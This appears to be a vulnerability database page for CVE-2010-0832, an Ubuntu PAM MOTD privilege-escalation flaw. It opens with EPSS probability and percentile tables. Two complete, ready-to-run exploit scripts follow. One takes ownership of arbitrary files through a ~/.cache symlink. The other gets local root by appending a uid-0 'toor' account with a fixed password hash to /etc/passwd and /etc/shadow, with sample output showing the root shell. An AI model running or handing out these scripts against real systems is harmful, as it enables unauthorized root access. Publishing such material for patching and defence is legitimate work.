CVE-2010-0832 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.05%	–
2023-04-23	–	–	–	0.05%	–
2023-06-11	–	–	–	0.05%	–
2023-07-30	–	–	–	0.05%	–
2023-09-17	–	–	–	0.05%	–
2023-09-24	–	–	–	0.05%	–
2023-10-01	–	–	–	0.05%	–
2023-10-15	–	–	–	0.05%	–
2023-10-22	–	–	–	0.05%	–
2023-12-03	–	–	–	0.05%	–
2024-03-10	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	1.57%
2025-03-30	–	–	–	–	0.44%
2025-04-15	–	–	–	–	0.44%
2025-04-15	–	–	–	–	0.44,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	15%
2023-04-23	13%
2023-06-11	17%
2023-07-30	15%
2023-09-17	16%
2023-09-24	15%
2023-10-01	16%
2023-10-15	15%
2023-10-22	16%
2023-12-03	15%
2024-03-10	–
2024-06-02	–
2024-06-02	–
2025-01-19	–
2025-03-18	8%
2025-03-30	6%
2025-04-15	62%
2025-04-15	62%

#!/bin/sh # # EDB Note: Updated exploit ~ https://www.exploit-db.com/exploits/14339/ # # Exploit Title: Ubuntu PAM MOTD file tampering (privilege escalation) # Date: July 7, 2010 # Author: Kristian Erik Hermansen <kristian.hermansen@gmail.com> # Software Link: http://packages.ubuntu.com/ # Version: pam-1.1.0 # Tested on: Ubuntu 10.04 LTS (Lucid Lynx) # CVE : CVE-2010-0832 # # Notes: Affects Ubuntu 9.10 and 10.04 LTS # [Patch Instructions] # $ sudo aptitude -y update; sudo aptitude -y install libpam~n~i # if [ $# -eq 0 ]; then echo "Usage: $0 /path/to/file" exit 1 fi mkdir $HOME/backup 2> /dev/null tmpdir=$(mktemp -d --tmpdir=$HOME/backup/) mv $HOME/.cache/ $tmpdir 2> /dev/null echo "\n@@@ File before tampering ...\n" ls -l $1 ln -sf $1 $HOME/.cache echo "\n@@@ Now log back into your shell (or re-ssh) to make PAM call vulnerable MOTD code :) File will then be owned by your user. Try /etc/passwd...\n"

#!/bin/bash # # Exploit Title: Ubuntu PAM MOTD local root # Date: July 9, 2010 # Author: Anonymous # Software Link: http://packages.ubuntu.com/ # Version: pam-1.1.0 # Tested on: Ubuntu 9.10 (Karmic Koala), Ubuntu 10.04 LTS (Lucid Lynx) # CVE: CVE-2010-0832 # Patch Instructions: sudo aptitude -y update; sudo aptitude -y install libpam~n~i # References: http://www.exploit-db.com/exploits/14273/ by Kristian Erik Hermansen # # Local root by adding temporary user toor:toor with id 0 to /etc/passwd & /etc/shadow. # Does not prompt for login by creating temporary SSH key and authorized_keys entry. # # user@ubuntu:~$ bash ubuntu-pam-motd-localroot.sh # [*] Ubuntu PAM MOTD local root # [*] Backuped /home/user/.ssh/authorized_keys # [*] SSH key set up # [*] Backuped /home/user/.cache # [*] spawn ssh # [+] owned: /etc/passwd # [*] spawn ssh # [+] owned: /etc/shadow # [*] Restored /home/user/.cache # [*] Restored /home/user/.ssh/authorized_keys # [*] SSH key removed # [+] Success! Use password toor to get root # Password: # root@ubuntu:/home/user# id # uid=0(root) gid=0(root) groupes=0(root) # P='toor:x:0:0:root:/root:/bin/bash' S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::' echo "[*] Ubuntu PAM MOTD local root" [ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1 [ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1 [ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1 backup() { [ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak [ -e "$1" ] || return 0 mv "$1"{,.bak} || return 1 echo "[*] Backuped $1" } restore() { [ -e "$1" ] && rm -rf "$1" [ -e "$1".bak ] || return 0 mv "$1"{.bak,} || return 1 echo "[*] Restored $1" } key_create() { backup ~/.ssh/authorized_keys ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1 [ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; } mv "$KEY.pub" ~/.ssh/authorized_keys || return 1 echo "[*] SSH key set up" } key_remove() { rm -f "$KEY" restore ~/.ssh/authorized_keys echo "[*] SSH key removed" } own() { [ -e ~/.cache ] && rm -rf ~/.cache ln -s "$1" ~/.cache || return 1 echo "[*] spawn ssh" ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true [ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; } echo "[+] owned: $1" } bye() { key_remove exit 1 } KEY="$(mktemp -u)" key_create || { echo "[-] Failed to setup SSH key"; exit 1; } backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; } own /etc/passwd && echo "$P" >> /etc/passwd own /etc/shadow && echo "$S" >> /etc/shadow restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; } key_remove echo "[+] Success! Use password toor to get root" su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \ chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor